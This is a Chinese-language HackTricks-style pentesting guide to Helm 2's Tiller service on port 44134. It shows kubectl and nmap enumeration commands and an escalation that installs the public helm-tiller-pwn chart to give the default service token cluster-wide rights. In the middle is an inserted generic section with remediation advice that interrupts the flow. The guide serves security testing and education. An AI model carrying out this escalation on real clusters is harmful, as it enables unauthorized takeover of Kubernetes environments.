hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

6.4 KiB
Raw Blame History

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

基本信息

Helm是Kubernetes的包管理器。它允许打包YAML文件并在公共和私有仓库中分发它们。这些包被称为Helm图表Tiller是默认在端口44134运行服务,提供服务。

**默认端口:**44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

枚举

如果您能够枚举不同命名空间的 pods 和/或服务,请枚举它们,并搜索名称中含有 "tiller" 的服务:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# 渗透测试 Tiller (Helm 的服务器端组件)

Tiller 是 Helm 的服务器端组件,它在 Kubernetes 集群中运行,并允许用户通过 Helm 客户端与集群交互。如果未正确配置Tiller 可能会暴露敏感信息或允许未经授权的用户执行命令。

## 发现 Tiller

要发现集群中的 Tiller 服务,可以使用以下命令:

kubectl --namespace kube-system get pods | grep tiller


这将列出 kube-system 命名空间中的所有 Tiller pod。

## 利用 Tiller

如果 Tiller 服务未正确配置,攻击者可能能够部署恶意图表或修改现有图表。以下是一些可能的攻击场景:

- **读取敏感信息**: 攻击者可以尝试读取 Tiller 服务的环境变量或配置文件,以获取敏感信息。
- **未经授权的命令执行**: 如果 Tiller 服务允许未经授权的用户执行命令,攻击者可以利用这一点来执行恶意操作。

## 修复建议

为了保护 Tiller 服务,应该采取以下措施:

- 确保 Tiller 仅在需要时运行,并且仅由授权用户访问。
- 使用 RBAC (基于角色的访问控制) 限制对 Tiller 的访问。
- 定期检查 Tiller 的配置和权限,确保没有不当的权限设置。

通过采取这些预防措施,可以减少 Tiller 服务被攻击的风险。
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

您还可以尝试检查端口44134来查找此服务是否正在运行

sudo nmap -sS -p 44134 <IP>

一旦发现服务,您可以通过下载客户端 helm 应用程序与之通信。您可以使用像 homebrew 这样的工具,或查看官方发布页面 更多详情,或其他选项,请参阅安装指南

然后,您可以枚举服务

helm --host tiller-deploy.kube-system:44134 version

权限提升

默认情况下,Helm2 安装在具有高权限namespace kube-system 中,所以如果你找到了该服务并且能够访问它,这可能允许你提升权限

你需要做的就是安装像这样的包:https://github.com/Ruil1n/helm-tiller-pwn,它将给予默认服务令牌访问整个集群中的所有内容。

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573中你可以找到攻击的解释但基本上如果你阅读_helm-tiller-pwn/pwnchart/templates/_中的clusterrole.yamlclusterrolebinding.yaml文件,你可以看到所有权限都被赋予了默认token

从零开始学习AWS黑客攻击直到成为英雄通过 htARTE (HackTricks AWS Red Team Expert)!

其他支持HackTricks的方式